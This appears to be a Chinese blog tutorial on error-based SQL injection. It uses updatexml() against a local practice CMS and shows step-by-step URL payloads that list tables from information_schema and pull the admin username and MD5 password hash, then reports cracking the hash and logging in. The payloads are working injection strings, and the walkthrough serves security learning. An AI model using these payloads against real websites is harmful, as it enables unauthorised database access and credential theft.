首页 > 数据库 >SQL注入之报错注入

SQL注入之报错注入

时间:2023-08-23 20:32:21浏览次数:45  
标签:0x5e updatexml 报错 SQL 注入 cms concat schema

报错注入是什么?

在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。
报错注入的原理,就是在错误信息中执行SQL 语句。触发报错的方式有很多,具体细节也不尽相同。此处建议直接背公式,将公式带换掉 1=1 的部分。

报错注入就是在判断SQL注入的注入点时发现数据库的报错信息会回显到页面上,那么就可以对报错信息进行注入操作。

报错注入获取cms账号密码

打开cms数据库的网页:http://127.0.0.1/cms/show.php?id=33,

打开hackbar插件,在URL中输入命令测试:

报错注入公式:

updatexml(1,concat(0x5e,(select database()),0x5e),1)

获取数据库名:

?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)

运行结果:

数据库名为cms

SQL注入之报错注入_5e

获取表个数:

count(*):获取表个数

0x5e:^符,用来分割报错和输出的结果

concat:将多个字符连接成一个字符串

?id=33 and updatexml(1,concat(0x5e,(select count(*) from information_schema.tables where table_schema=database()),0x5e),1)

运行结果:

一共有8个表

SQL注入之报错注入_5e_02

逐个获取表名:

报错注入不同于联合查询,它只能逐个获取表名

limit 0,1:用来限定取第0行的一行记录,由于有8个表,也就是有8行数据,多取会报错。

information_schema 元数据数据库

存储库名、表名(-- tables)

存储列名(-- columns)))

取第0行的一行记录:

?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5e),1)

运行结果:

找出表名cms_article

SQL注入之报错注入_表名_03

去第1行的一行记录:

?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x5e),1)

运行结果:

找出表名cms_category

SQL注入之报错注入_数据库_04

以此类推,直到取出所有表名:

cms_article

cms_category

cms_file

cms_friendlink

cms_message

cms_notice

cms_page

cms_users

获取cms_users表的列的个数:

table_name=0x636d735f7573657273是cms_users表名转16进制后的结果,如果直接用表名’cms_users’,会导致表名被cms**转义并报错,**所以需要避免单引号的使用。

?id=33 and updatexml(1,concat(0x5e,(select count(*) from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273),0x5e),1)

运行结果:

cms_users表中一共有三列数据

SQL注入之报错注入_5e_05

获取cms_users表的列的字段(内容):

limit 0,1:用来限定取第0行的一行记录,由于有3行数据,多取会报错。

limit 1,1:用来限定取第1行的一行记录,由于有3行数据,多取会报错。

取第一行数据:

?id=33 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273 limit 0,1),0x5e),1)

运行结果:

SQL注入之报错注入_5e_06

取第二行数据:

?id=33 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273 limit 1,1),0x5e),1)

运行结果:

SQL注入之报错注入_数据库_07

取出的所有字段:

userid
username
password

获取username的内容:

?id=33 and updatexml(1,concat(0x5e,(select username from cms_users limit 0,1),0x5e),1)

运行结果:

用户名为admin

SQL注入之报错注入_表名_08

获取password中的密文:

length(password):获取password的密文长度,由于password中的密码是一段md5密文,长度过长,不能一次取出,先获取长度后分次取出。

获取密文长度:

?id=33 and updatexml(1,concat(0x5e,(select length(password) from cms_users limit 0,1),0x5e),1)

运行结果:

md5密文长度是32

SQL注入之报错注入_5e_09

取前16位密码:

?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users limit 0,1),0x5e),1)

运行结果:

前16位md5密码密文

SQL注入之报错注入_5e_10

取后16位密码:

?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users limit 0,1),0x5e),1)

运行结果:

后16位密文

SQL注入之报错注入_5e_11

拼接后获得md5密码密文:

e10adc3949ba59abbe56e057f20f883e

解码得到明文密码:

123456

成功登录

SQL注入之报错注入_数据库_12

SQL注入之报错注入_表名_13


文章知识点与官方知识档案匹配,可进一步学习相关知识

标签:0x5e,updatexml,报错,SQL,注入,cms,concat,schema
From: https://blog.51cto.com/u_16227132/7206966

相关文章

  • Mysql学习
    ​Mysql​数据库(DataBase,简称DB):存储和管理数据的仓库。数据库管理系统(DataBaseManagementSystem,简称DBMS)DBMS是操作和管理数据库的大型软件。将来我们只需要操作这个软件,就可以通过这个软件来操纵和管理数据库了。此时又出现一个问题:DBMS这个软件怎么知道要操作的......
  • MySQL 入门
    0x01简介数据库(Database)是按照数据结构来组织、存储和管理数据的仓库数据库管理系统(DatabaseManagementSystem,又称DBMS)主要用于对数据库的操作与管理,是一种软件,如MySQL0x02安装配置(1)Mac使用命令brewinstallmysql下载并安装使用命令mysql.serverstart启动My......
  • SQL注入基础学习5
    SQL注入基础学习5二、靶场实操(开始先学习手工,后面的话,可以采用sqlmap等自动化工具)靶场采用sqli-labs21、第21关第21关是也是属于cookie注入的登陆后查看页面或者报头信息(如图一),会发现,输入时uname=admin1,但是页面上显示的YWRtaW4x说明被编码了,试一下bsae64解码(如图二),图......
  • MySQL 查看SQL进程和杀掉进程
    要在MySQL中查看正在执行的长时间运行的SQL语句,您可以使用SHOWPROCESSLIST命令。这个命令显示了当前MySQL服务器上正在执行的所有进程的信息,包括每个进程的ID、用户、主机、数据库、命令和执行时间等信息。SHOWFULLPROCESSLIST;使用FULL关键字可以显示完整的SQL......
  • 支持多数据源联合查询的SQL运行引擎sycnany-SQL使用类型注解和类型转换
    使用介绍安装和配置使用自定义函数sycnany-SQL作为SQL运行引擎并不需要提前定义Schema信息,而且很多数据源本身就是无Schema信息的,例如NoSQL数据库MongoDB,所以从数据源查询数据和运行计算默认直接使用输入数据的类型完成查询和计算,此时查询数据或执行计算可能因数据类型不匹配产......
  • [MySQL]递归生成数据行
    来源:https://baijiahao.baidu.com/s?id=1744215294693190607&wfr=spider&for=pc DEMO:WITHRECURSIVEcteAS( SELECT1asnUNION SELECTn+1FROMcteWHEREn<30)SELECT*FROMcte; 递归生成最近30天WITHlast30dayAS( WITHRECURSIVEcteAS( SEL......
  • mysql8.0 新建数据库,迁移数据,账号权限,和mysql5.0的兼容性问题等踩坑记录
    项目里一直用的是mysql5.7,这次立了个新项目,我果断换上mysql8.0,心想肯定新版的性能更好更强大啊,其实无形间也踩了不少坑,mysql8.0和mysql5.0的小改动(升级)引发的兼容性问题。。一、mysql8.0搭建首先是搭建mysql8.0环境,这里当然使用时下最方便的docker-compose方式了my.cnf如下[m......
  • Mysql调优工具:mysqltuner.pl及tuning-primer.sh
    一、概述MySQL调优工具是用于分析和优化MySQL数据库性能的软件工具。它们可以帮助识别潜在的性能瓶颈、优化查询性能、调整配置参数以及提高数据库的吞吐量和响应时间。今天分享2个常用的工具。mysqltuner.pl:一款免费的Perl脚本工具,用于检查和优化MySQL服务器的配置参数。MySQL......
  • docker compose 部署mysql数据库
    docker-compose.ymlversion:"3"services:mysql:image:mysql:5.7container_name:mysqlhostname:mysqlports:-3306:3306volumes:-/home/mysql/data:/var/lib/mysql-/home/mysql/conf/my.cnf:/etc/my.cnf......
  • mysql安装-linux
    参考来源:https://www.cnblogs.com/werr370/p/14633785.html#   问题1:cat/var/log/mysqld.log查看日志出现:FailedtoinitializeDDStorageEngine.DataDictionaryinitializationfailed.1、systemctlstartmysqld执行报错,查看日志 参考来源:https://blog.csdn.n......